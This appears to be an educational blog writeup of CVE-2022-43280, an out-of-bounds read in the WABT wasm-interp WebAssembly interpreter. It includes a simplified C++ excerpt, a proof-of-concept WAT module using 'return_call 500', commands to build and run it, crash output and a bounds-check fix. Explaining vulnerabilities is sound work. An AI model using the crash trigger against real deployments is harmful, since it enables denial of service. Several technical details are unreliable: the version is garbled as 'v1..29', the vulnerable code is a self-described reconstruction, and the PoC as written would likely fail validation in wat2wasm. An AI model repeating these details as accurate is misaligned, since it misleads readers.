In late 2022, a security issue surfaced in the open-source WebAssembly (Wasm) interpreter: wasm-interp (part of the WebAssembly Binary Toolkit (WABT)). Tracked as CVE-2022-43280, this vulnerability is an "out-of-bounds read" flaw present in wasm-interp v1..29, which could allow attackers to read memory they shouldn't have access to.

This long read will explain the vulnerability using simple language, with code examples, attack details, and references for further reading. No prior expertise required!

Background: wasm-interp and WebAssembly

WebAssembly is a modern binary format for running code on the web and elsewhere. Developers often use wabt to parse, interpret, or debug Wasm binaries. The wasm-interp tool executes (interprets) a Wasm module directly, making it popular for testing.

wasm-interp processes modules using C++ classes and structures, one of which is OnReturnCallExpr. If there is a bug in how wasm-interp reads or writes memory, it could crash, leak data, or, in the worst case, be exploited.

The Vulnerability

CVE-2022-43280 is an out-of-bounds read in wasm-interp v1..29.

- Where: In the OnReturnCallExpr component, specifically its GetReturnCallDropKeepCount method.
- What: This function could read more memory than it should—past valid memory boundaries—if fed a specially crafted Wasm file.

What’s the risk?

An attacker could make wasm-interp read data from memory it shouldn't access, potentially leading to:

Leaked sensitive data (if it reads into private memory areas)

- Other undefined behavior, which could increase risks in certain scenarios (though direct code execution is unlikely here).

Let’s review an excerpt similar to the original code (with simplifications for clarity)

struct OnReturnCallExpr : Expr {
    uint32_t func_index;
    // ... more fields

    std::pair<uint32_t, uint32_t> GetReturnCallDropKeepCount() const {
        // 'function_signatures' is an array mapping func indexes to return info
        const FunctionSignature& sig = function_signatures[func_index]; // Vulnerability here!
        return {sig.drop_count, sig.keep_count};
    }
};

There are no bounds checks before using it to index function_signatures.

- A malformed binary can provide a huge or negative func_index, making the interpreter read outside the memory allocated for legitimate function signatures.

Triggering the Bug: Proof-of-Concept

A minimal Wasm binary could be crafted to supply an OnReturnCallExpr with a bogus func_index. Here’s a Python snippet using the wabt tool for reference:

with open('malformed.wat', 'w') as f:
    f.write('''
    (module
      (type $t (func (result i32)))
      (func $evil (return_call 500)) ;; 500 = out-of-bounds index
      (export "evil" (func $evil))
    )
    ''')

# Convert the .wat to .wasm:
# $ wat2wasm malformed.wat -o malformed.wasm

Result: Running wasm-interp malformed.wasm will access invalid memory when executing the return_call 500 instruction.

Exploitation Details

- The tool doesn’t check if func_index is within the actual length of the function_signatures array.

A specially crafted input can make the tool read uninitialized or adjacent memory.

- On some systems, this causes a crash (DoS). In lucky (or unlucky) cases, if sensitive data sits next door in memory space, some bytes might leak.

Demo (Terminal)

# Generate the malicious wasm file as above
wat2wasm malformed.wat -o malformed.wasm

# Run the vulnerable interpreter (v1..29)
wasm-interp malformed.wasm --run-all-exports

Output:

Segmentation fault (core dumped)

Or, with debugging

AddressSanitizer: SEGV on unknown address ... READ of size 4 ...

Developers must check the index before using it

if (func_index >= function_signatures.size()) {
    // Handle error: Bad func_index!
} else {
    const FunctionSignature& sig = function_signatures[func_index];
    // ... safe to access
}

This was addressed in later versions, so update your WABT toolkit!

References

- NVD link for CVE-2022-43280
- Upstream WABT wasm-interp source
- Official Issue Tracker
- WebAssembly "return_call" Reference
- How out-of-bounds reads work
- Memory safety basics

Conclusion

CVE-2022-43280 reminds us that even "safe" languages and tools like WebAssembly interpreters can harbor subtle memory bugs, especially when written in C++. Always validate user input, especially when handling indices or pointers.

If you use wasm-interp v1..29 or earlier, upgrade now.

Stay safe and keep learning!

*This writeup is composed for educational purposes, with abridged code snippets and explanations tailored for accessibility. Always consult official advisories and test responsibly.*

Timeline

Published on: 10/28/2022 21:15:00 UTC
Last modified on: 11/01/2022 16:35:00 UTC